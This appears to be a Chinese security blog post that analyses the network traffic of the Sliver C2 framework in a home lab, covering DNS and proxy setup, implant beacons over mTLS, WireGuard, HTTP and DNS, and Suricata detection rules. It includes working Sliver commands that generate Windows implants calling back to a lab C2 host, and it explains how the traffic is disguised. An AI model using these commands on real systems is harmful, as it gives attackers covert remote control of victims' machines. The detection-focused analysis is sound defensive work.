ry4n Crush Sec 2023-12-01 03:59 发表于江苏
通信协议Sliver中,共有四种协议可供选择: •http•wireguard•dns•mtls DNS环境搭建为了后续的实验方便,首先搭建一个DNS服务器。大致的流程如下:
- +-------------------+ +-------------------+
- | | Resolve DNS | |
- | DNS Server +---UDP-53 <-------------------+ Target |
- | (Ubuntu) | | (Windows) |
- | | | |
- | 192.168.122.185 | +-------------+ 192.168.122.160 |
- | | | | |
- +-------------------+ | +---+----------+----+
- | | |
- Download binary | | |
- +--------------------+ | |
- | | |
- v | |
- TCP-80 | |
- +---------------+---+ | |
- | | mTLS C2 Connection | |
- | C2 Server +---TCP-8888 <---------------------+ |
- | (kali) | |
- | | WireGuard C2 Connection |
- | 192.168.122.111 +---UDP-53 <---------------------------------+
- | |
- +-------------------+
复制代码这里的DNS服务器使用Ubuntu20.04进行搭建。 首先安装bind,apt-get install bind9 bind9utils bind9-doc:
bind的配置文件在/etc/bind中,对/etc/bind/named.conf.options进行修改:
- acl "localnet" {
- 192.168.122.0/24;
- };
- options {
- directory "/var/cache/bind";
- recursion yes; # resursive queries
- allow-recursion { localnet; }; # recursive queries
- listen-on { 192.168.122.185; }; # IP address of the DNS server
- allow-transfer { none; }; # disable zone transfers
- forwarders {
- 8.8.8.8;
- 8.8.4.4;
- };
- dnssec-validation auto;
- listen-on-v6 { any; };
- };
- logging {
- channel query {
- file "/var/log/bind/query" versions 5 size 10M;
- print-time yes;
- severity info;
- };
- category queries { query; };
- };
复制代码
这里需要根据自己的网段进行修改,在配置中允许递归查询。将dns server配置为192.168.122.185,并且不允许区域传输。 logging部分的配置确保所有的DNS查询都会记录到/var/log/bind/query中。 下面新建目录并且做权限修改,确保其可写:
- mkdir -p /var/log/bind
- chown bind /var/log/bind
复制代码
在/etc/apparmor.d/usr.sbin.named文件中加入如下内容来将目录加进白名单:
- /var/log/bind/** rw,
- /var/log/bind/ rw,
复制代码
重启apparmor:systemctl restart apparmor 创建zones文件夹来保存区域文件(systemctl restart apparmor)并且通过修改/etc/bind/name.conf.local文件来指定网络的正反向区域: - zone "labnet.local" {
- type master;
- file "/etc/bind/zones/db.labnet.local"; # zone file path
- };
- zone "122.168.192.in-addr.arpa" {
- type master;
- file "/etc/bind/zones/db.122.168.192"; # 192.168.122.0/24
- };
复制代码
下面对/etc/bind/zones/db.labnet.local和/etc/bind/zones/db.122.168.192两个文件进行配置:
- $TTL 604800
- @ IN SOA ns.labnet.local. admin.labnet.local. (
- 4 ; Serial
- 604800 ; Refresh
- 86400 ; Retry
- 2419200 ; Expire
- 604800 ) ; Negative Cache TTL
- ; name servers - NS records
- IN NS ns.labnet.local.
- ; name servers - A records
- ns.labnet.local. IN A 192.168.122.185
- ; 192.168.122.0/24 - A records
- target.labnet.local. IN A 192.168.122.160
- sliver.labnet.local. IN A 192.168.122.111
复制代码
- $TTL 604800
- @ IN SOA ns.labnet.local. admin.labnet.local. (
- 4 ; Serial
- 604800 ; Refresh
- 86400 ; Retry
- 2419200 ; Expire
- 604800 ) ; Negative Cache TTL
- ; name servers
- IN NS ns.labnet.local.
- ; PTR Records
- 105 IN PTR ns.labnet.local. ; 192.168.122.185
- 160 IN PTR target.labnet.local. ; 192.168.122.160
- 111 IN PTR sliver.labnet.local. ; 192.168.122.111
复制代码
全部配置完成后,通过如下命令进行检查: - named-checkconf
- named-checkzone labnet.local /etc/bind/zones/db.labnet.local
- named-checkzone 192.168.122.in-addr.arpa /etc/bind/zones/db.122.168.192
复制代码
如果出现如下响应表示配置成功:
接下来重启bind并且到sliver server端进行验证: - systemctl restart bind9
- dig +short @192.168.122.185 target.labnet.local
- dig +short @192.168.122.185 -x 192.168.122.160
复制代码
在dns服务器端应该看到如下两条记录:
最后,在受害主机windows上,配置dns服务器:
通过域名访问sliverserver:
至此,所有配置全部完成。mtls
首先生成一个beacon。generate beacon --os windows --arch amd64--format exe --seconds 5 --mtls sliver.labnet.local
开启监听后,在windows主机上执行implant,并开启wireshark监听:首先进行dns的解析: 往后找,看到TLS的client hello:
再次看到dns server的名称。这里的reset报文是因为implant是beacon形式,每隔一段时间进行连接:
wireguard
[backcolor=rgba(0, 0, 0, 0.03)]generate [backcolor=rgba(0, 0, 0, 0.03)]--[backcolor=rgba(0, 0, 0, 0.03)]os windows [backcolor=rgba(0, 0, 0, 0.03)]--[backcolor=rgba(0, 0, 0, 0.03)]arch amd64 [backcolor=rgba(0, 0, 0, 0.03)]--[backcolor=rgba(0, 0, 0, 0.03)]format exe [backcolor=rgba(0, 0, 0, 0.03)]--[backcolor=rgba(0, 0, 0, 0.03)]save [backcolor=rgba(0, 0, 0, 0.03)]/[backcolor=rgba(0, 0, 0, 0.03)]tmp[backcolor=rgba(0, 0, 0, 0.03)]/[backcolor=rgba(0, 0, 0, 0.03)]implant[backcolor=rgba(0, 0, 0, 0.03)]-[backcolor=rgba(0, 0, 0, 0.03)]wireguard[backcolor=rgba(0, 0, 0, 0.03)].[backcolor=rgba(0, 0, 0, 0.03)]exe [backcolor=rgba(0, 0, 0, 0.03)]--[backcolor=rgba(0, 0, 0, 0.03)]wg sliver[backcolor=rgba(0, 0, 0, 0.03)].[backcolor=rgba(0, 0, 0, 0.03)]labnet[backcolor=rgba(0, 0, 0, 0.03)].[backcolor=rgba(0, 0, 0, 0.03)]local[backcolor=rgba(0, 0, 0, 0.03)],[backcolor=rgba(0, 0, 0, 0.03)]192.168[backcolor=rgba(0, 0, 0, 0.03)].[backcolor=rgba(0, 0, 0, 0.03)]122.111
[backcolor=rgba(0, 0, 0, 0.03)]
[backcolor=rgba(0, 0, 0, 0.03)]
生成implant后上线,首先同样是dns server: [backcolor=rgba(0, 0, 0, 0.03)]
[backcolor=rgba(0, 0, 0, 0.03)]
[backcolor=rgba(0, 0, 0, 0.03)]剩下全是畸形的dns报文(malformed packet):
[backcolor=rgba(0, 0, 0, 0.03)]
[backcolor=rgba(0, 0, 0, 0.03)]
[backcolor=rgba(0, 0, 0, 0.03)]HTTP代理环境搭建mtls和wg协议固然是不错的选择,但并非所有环境都允许建立这两种连接。有时目标与外部的网络连接会受到限制,例如流量允许通过,但需要通过代理,在代理处流量有可能会被记录和检查。在这种情况下,必须使用HTTP和HTTPS协议。 为了模拟环境,只允许HTTP代理流量进出,在原先的实验环境DNS服务器上添加HTTP代理工具,这里选择 squid 工具。 首先安装squid: apt-get install squid 安装后修改配置文件/etc/squid/squid.conf,创建一个acl,并且赋予HTTP权限,再配置上DNS解析:
随后重启squid,systemctl restart squid,并且到sliver C2 server上测试一下连通性: 接下来到windows受害主机上配置一下代理:
修改防火墙策略:
出站连接改为组织,最后配置两条出战策略,分别为TCP 3128端口和UDP 53端口。
访问日志保存在文件/var/log/squid/access.log中。 HTTP/HTTPS生成一个beacon implant: generate beacon --http sliver.labnet.local,sliver.labnet.local?driver=wininet --seconds 5 这里的driver=wininet代表使用wininet驱动进行通信。 - 在Sliver中,HTTP驱动程序用于生成基于HTTP协议的beacon,并与Sliver服务器进行通信。HTTP驱动程序默认实现是纯Go实现的,但在某些情况下,纯Go实现的HTTP驱动程序可能无法正常工作,例如在使用某些代理服务器或防火墙时。此时,Sliver会尝试使用"wininet"驱动程序,该驱动程序依赖于本地Windows WinInet API。这个驱动程序通常比纯Go实现的HTTP驱动程序更可靠,因为它使用操作系统提供的底层网络功能,可以更好地处理一些复杂的网络环境。
复制代码
同时在sliver server中开启一个http和https的监听。 在https和http监听同时开启的情况下,优先会选择https,下面先看https的分析。
可以看到,在第一个数据包中,返回了400,这是因为其内置的驱动未能请求成功,往后翻:
可见的明文中几乎只有CONNECT,这里请求的url是server的域名,并且返回200,成功建立了连接。 这里即使很多数据包是HTTP的请求,但是内容也不可见,是因为Sliver实现了自己的传输加密方案,所有通过HTTP等纯文本通道发送的数据都无法读取。 kill掉https的监听后,beacon会自动连接到http上,这里的内容大部分也是不可读:
但是会出现很多相似的url:
- /signin.php?i=u46099k191
- /jscript/jscript/route.js?x=10638697
- /database/database/oauth/db/api.php?g=l70700395
- /javascript/js/assets/scripts/js/route.js?n=97517432
- /scripts/bundles/assets/scripts/bundles/umd/assets/jquery.js?u=4174480
- /oauth2/oauth2callback/oauth2/authenticate/signin.php?d=86673m805
- ...
复制代码
在日志中可能更为直观:
请求php或者js文件,并且带上一个随机数。这里的路径是由配置文件来控制的,除此之外,所有的GET和POST请求在URL中都带有一个随机数,其名称是一个随机选择的字符,其值也是一个随机字符串。这些随机参数引入是为了绕过浏览器缓存机制,如果多次发送相同的请求,服务器会返回缓存的响应,这就可能会导致C2的失效中断。 将日志文件进行处理后,可以看到请求的路径是由如下内容进行自由拼接:
C2 HTTP配置配置文件路径为/root/.sliver/configs/http-c2.json
其中implant_config部分指定了以HTTP协议通信时,交互轮询等使用到的文件名,路径,文件后缀等等。 例如Sliver启动session时,用到的文件后缀为html:
而文件路径部分,再结合上面筛选出的路径,也可以发现是一致的。 而server_config部分则是配置了server端响应的内容:
以cookie字段举例:
至此,http协议的流程如下: •首先是beacon.Init()初始化循环,以一个POST请求来完成,并且以start_session_file_ext的值为后缀名,默认为html。•beacon.Send()进行注册,同样是POST请求,url由配置文件中的session_paths,session_files和session_file_ext来指定。•在心跳包的时间间隔内,首先发送一个POST进行检查,然后由GET接受信息,POST请求和前面一样,而GET请求的配置则是来源于poll_paths,poll_files和poll_file_ext。
DNS在DNS Server上修改部分配置。 /etc/bind/named.conf.local中设置在本地服务器进行递归解析,不发给上游服务器:
/etc/bind/zones/db.labnet.local中添加子域名解析NS记录:
配置完成后,在target受害机中查询nslookup.exe prefix.dnsc2.labnet.local,其不会返回 DNS 查询的结果,因为 C2 服务器尚未配置为响应。: 在dns server中查看查询日志: kali中开启监听: 此处配置完成。 在sliver server中创建监听器,这里需要指定监听的域名。官方建议使用FQDN(完全限定域名),因此在一个域名最后添加一个点.,表示根域名。生成 DNS beacon ,指定域名并设定回连间隔为10秒:
在wireshark中查看数据包:
可以看到很多 DNS 查询,大部分是子域dnsc2.labnet.local 的 A 记录,Sliver 使用看似随机的 IP 地址进行响应。 所有数据实际上都编码在乱码字符串中。当implant想要将数据发送到服务器时,它都必须在它查询的 dnsc2.labnet.local 子域中对其进行编码。服务器将接收此查询并返回一些 IP 地址。当服务器想要向implant发送数据时,implant必须执行 TXT 查询,以便服务器可以使用数据对其进行响应。 suricata
- .woff:
- alert tcp any any -> any any (msg: "Sliver HTTP woff request"; flow:to_server,established;content:".woff";http_uri;pcre: "/\/(static|assets|fonts|locales)(.*?)((attribute_text_w01_regular|ZillaSlab-Regular\.subset\.bbc33fb47cf6|ZillaSlab-Bold\.subset\.e96c15f68c68|Inter-Regular|Inter-Medium)\.woff)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000001;classtype:trojan-activity; rev:1;)
- .js:
- alert tcp any any -> any any (msg: "Sliver HTTP js request"; flow:to_server,established;content:"GET";http_method;nocase;content:".js";http_uri;pcre: "/\/(js|umd|assets|bundle|bundles|scripts|script|javascripts|javascript|jscript)(.*?)((bootstrap|bootstrap.min|jquery.min|jquery|route|app|app.min|array|backbone|script|email)\.js)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000002;classtype:trojan-activity; rev:1;)
- .html:
- alert tcp any any -> any any (msg: "Sliver HTTP html request&getsessionID"; flow:to_server,established;content:"POST";http_method;nocase;content:".html";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.html)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000003;flowbits:set,name;flowbits:noalert;classtype:trojan-activity; rev:1;)
- .html:
- alert tcp any any <> any any (msg: "Sliver HTTP html response&set-cookie";flow:to_client,established;content:"Set-Cookie";http_header;pcre:"/^Set-Cookie\:\s*(PHPSESSID|SID|SSID|APISID|csrf-state|AWSALBCORS)\=[a-z0-9]{32}\;\s*HttpOnly$/i";sid:1000004;flowbits:isset,name;classtype:trojan-activity;)
- .php:
- alert tcp any any -> any any (msg: "Sliver HTTP php request"; flow:to_server,established;content:"POST";http_method;nocase;content:".php";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.php)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000005;classtype:trojan-activity; rev:1;)
- .png:
- alert tcp any any -> any any (msg: "Sliver HTTP png request"; flow:to_server,established;content:".png";http_uri;pcre: "/\/(static|www|assets|images|icons|image|icon|png)(.*?)((favicon|sample|example)\.png)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000006;classtype:trojan-activity; rev:1;)
- ja3:
- alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"19e29534fd49dd27d09234e639c4057e";classtype:misc-activity;sid:1001;rev:1)
- alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)
复制代码
|